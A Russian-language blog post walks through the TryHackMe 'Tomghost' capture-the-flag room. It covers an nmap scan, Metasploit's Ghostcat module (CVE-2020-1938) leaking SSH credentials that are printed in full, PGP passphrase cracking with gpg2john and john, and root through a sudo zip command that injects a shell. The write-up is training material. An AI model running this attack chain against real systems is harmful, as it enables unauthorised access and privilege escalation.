Пост

TryHackMe - Tomghost

Получение учетных данных с помощью PGP‑ключа?

TryHackMe - Tomghost

Введение

Довольно крепкая комната, из которой я многому научился.
Расшифровка pgp‑ключа с помощью gpg2john и получение учетных данных таким способом + получение root через zip — очень интересно.

Tryhackme Room Link

Nmap

Давайте начнём со сканирования nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.56.163
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Итак, у нас открыто 4 порта 22/tcp 53/tcp 8009/tcp 8080/tcp

Разведка

После быстрого поиска в Google по уязвимостям Tomcat мы наткнулись на следующее: Уязвимости `CVE-2020-1938` и `CVE-2020-1745` были обнаружены в апреле 2020 года — они связаны с AJP‑коннектором Apache Tomcat и позволяют проводить атаку типа «Request Injection» (Ghostcat)

Initial Access

Давайте загрузим metasploit для этого

1
msfconsole
1
2
3
4
5
6
7
8
9
10
11
12
search cve: CVE-2020-1938
msf6 > search cve: CVE-2020-1938

Matching Modules
================

   #  Name                                  Disclosure Date  Rank    Check  Description
   -  ----                                  ---------------  ----    -----  -----------
   0  auxiliary/admin/http/tomcat_ghostcat  2020-02-20       normal  Yes    Apache Tomcat AJP File Read


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/http/tomcat_ghostcat

Похоже, что мы можем использовать этот модуль

1
2
use auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) > 

Теперь давайте посмотрим, какие параметры нам нужно задать

1
2
3
4
5
6
7
8
9
10
11
msf6 auxiliary(admin/http/tomcat_ghostcat) > options

Module options (auxiliary/admin/http/tomcat_ghostcat):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   FILENAME  /WEB-INF/web.xml  yes       File name
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
                                         sing-metasploit.html
   RPORT     8009              yes       The Apache JServ Protocol (AJP) port (TCP)

Нам нужно всего лишь указать RHOSTS (IP‑адрес удалённого хоста) и запустить эксплойт

1
2
3
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 10.10.56.163
RHOSTS => 10.10.56.163
msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit
1
2
3
     Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
  </description>

Похоже, что это учетные данные, так что давайте попробуем использовать их для подключения по SSH

1
2
ssh skyfuck@10.10.56.163
skyfuck@ubuntu:~$ 

User Flag

Ок, мы действительно можем получить user flag в каталоге /home/merlin

User Flag

Root Flag

Теперь мы видим два файла

1
2
skyfuck@ubuntu:~$ ls
credential.pgp  tryhackme.asc

Нам нужно получить учетные данные

1
2
3
4
5
6
7
8
9
skyfuck@ubuntu:~$ gpg --import tryhackme.asc
gpg: key C6707170: secret key imported
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:               imported: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
1
2
3
4
5
6
7
8
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp

You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)

gpg: gpg-agent is not available in this session
Enter passphrase: 

Нам понадобится passphrase для этого

Давайте скачаем доступные файлы

1
scp skyfuck@10.10.56.163:/home/skyfuck/* /home/rene/Desktop/

И давайте используем gpg2john, чтобы взломать файл tryhackme.asc

1
2
gpg2john tryhackme.asc > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Passphrase

Теперь давайте используем passphrase, чтобы получить хэш из файла credential.pgp

Passphrase

Теперь давайте используем наши новые учетные данные, чтобы войти как merlin

1
2
└─$ ssh merlin@10.10.56.163                                 
merlin@10.10.56.163's password:
1
2
3
4
5
6
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip

Итак, теперь мы вошли как новый пользователь и можем получить root‑доступ через zip, то есть нам нужно создать файл и заархивировать его

После быстрого поиска в Google мы можем использовать существующую технику повышения привилегий:

1
2
3
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

И мы получаем root flag

Root

Авторский пост защищен лицензией CC BY 4.0 .